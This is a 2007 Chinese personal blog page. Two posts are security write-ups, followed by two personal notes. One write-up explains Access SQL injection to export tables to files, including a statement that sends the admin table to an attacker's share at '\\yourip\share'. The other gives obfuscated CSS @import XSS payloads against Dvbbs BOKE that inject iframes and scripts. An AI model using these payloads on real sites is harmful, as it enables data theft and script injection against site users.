Xio's
  • 日志
  • 邻居
  • 关于
  • Search

  • Mar 17, 2007

    利用Access SQL注入导出ASP文件的方法

    已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。

    最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。

    传统的导出方法

    几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的方法:

    Select * into [test.txt] in 'd:\web\' 'text;' from admin
    

    执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说"不能更新,数据库或对象为只读"。

    问题的根源

    其实控制导出文件后缀是存储在注册表的,具体键值是:

    HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension
    

    默认情况下值为"!txt,csv,tab,asc,tmp,htm,html",如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。

    这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。

    扩展思路

    顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:

    Select * into [test.txt] in '\\yourip\share' 'text;' from admin
    

    实际测试

    我在我自己的blog上测试,没有得用注入,直接exec sql语句形成:

    Select gb_Author into [222.txt] in 'D:\wwwroot\starstudio\wwwroot\' 'text;' from blog_Guestbook
    

    竟然真生成了txt文件了,当时可以访问 starstudio.cn/222.txt(现在域名已经失效,starstudio已经躺在本地硬盘中了)

    不行可以试试访问............利用注点怎么得asp还得好好研究下

  • Mar 16, 2007

    动网BOKE的CSS跨站漏洞分析

    前一段时间,找到了动网 BOKE的跨站漏洞,这个漏洞可以用CSS来跨站,也就是样式表,具体的跨站方法是:

    基本利用方法

    选择"代码"方式,在其中输入以下代码:

    <style type='text/css'>@import url(http://www.pc010.cn/1.css);</style>
    

    其中的@import 是CSS的自定义属性,url是要链接的CSS样式,而 http://www.pc010.cn/1.css 的内容如下:

    <style type="text/css">
    <!--
    @import url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
    -->
    </style>
    

    这是一段弹出alert窗口的代码,其中的String.fromCharCode是用来将字符转为ASCII值的函数。

    打开新窗口的代码

    OPEN 的代码如下:

    @import url(javascript:eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112,58,47,47,119,119,119,46,110,111,104,97,99,107,46,99,110,39,44,39,-17702,-16435,-13610,-19743,39,44,39,119,105,100,116,104,61,50,48,48,44,104,101,105,103,104,116,61,50,48,48,39,41,59)));
    

    隐藏显示方法

    如果是要在当前窗口隐藏显示,可用document.body.innerHTML方法,代码是:

    document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.pc010.cn></iframe>";
    

    将以上的字符用ASCII转换工具转为ASCII值,放入String.fromCharCode函数中,就可以了。

    简化的利用方式

    当然,也可以不用String.fromCharCode函数,直接引入代码的语句是:

    @import url(javascript:eval("document.body.innerHTML=document.body.innerHTML+'<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.baidu.com></iframe>';"));
    

    其中字符要用双引号引入才行。

    最简单的方法

    如果再去掉eval,那么语句就是:

    @import url(javascript:document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.baidu.com></iframe>");
    

    常量用双引号引入,而变量则直接引入,两者之间用+来连接,如果有特殊的字符,则可用String.fromCharCode进行转换,比如"<",则可用String.fromCharCode(60)代替。

    技术总结

    这个漏洞利用了CSS的@import特性和javascript:协议的结合,绕过了常规的XSS过滤。动网BOKE在处理用户输入的CSS代码时没有进行充分的过滤,导致了这个安全问题。

    这种利用方式比较隐蔽,因为表面上看起来只是在引入CSS样式文件,实际上却执行了恶意的JavaScript代码。

    建议网站管理员对用户输入的CSS代码进行严格过滤,特别是@import和javascript:这类可能存在安全风险的内容。

  • Mar 04, 2007

    关于10级大风的预报

    昨天老爸说今天会有10级大风,我怎么也想不到这个偏僻的山区会有这么大的风。开玩笑对隔房表姐说,你还是把你的信用卡拿上躲到红薯窖里面去吧,呵呵。

    结果风确实起了,但没有预报的那么大。

    最近手气不错,昨天又赢钱了。不过这样下去,朋友们都要说我成赌徒了。

    有点郁闷,TOM那边出了点状况,下起了暴雪!等会上QQ问问情况再说。

    先这样了。


    写于2007年3月4日,记录当时的生活片段。

  • Mar 01, 2007

    樱花又开了

    樱花盛开

    春日樱花

    樱花枝头

    满树樱花

    樱花又开了,春天真的来了。

    每年这个时候,看到满树的樱花,总是让人心情愉悦。粉色的花瓣在微风中轻舞,仿佛在告诉我们,新的一年又开始了。


    拍摄于2007年3月1日

    天气:多云

< 12345678910 >
Xio's Xio's © 2026 . 一切从简,记录生活。 RSS Archive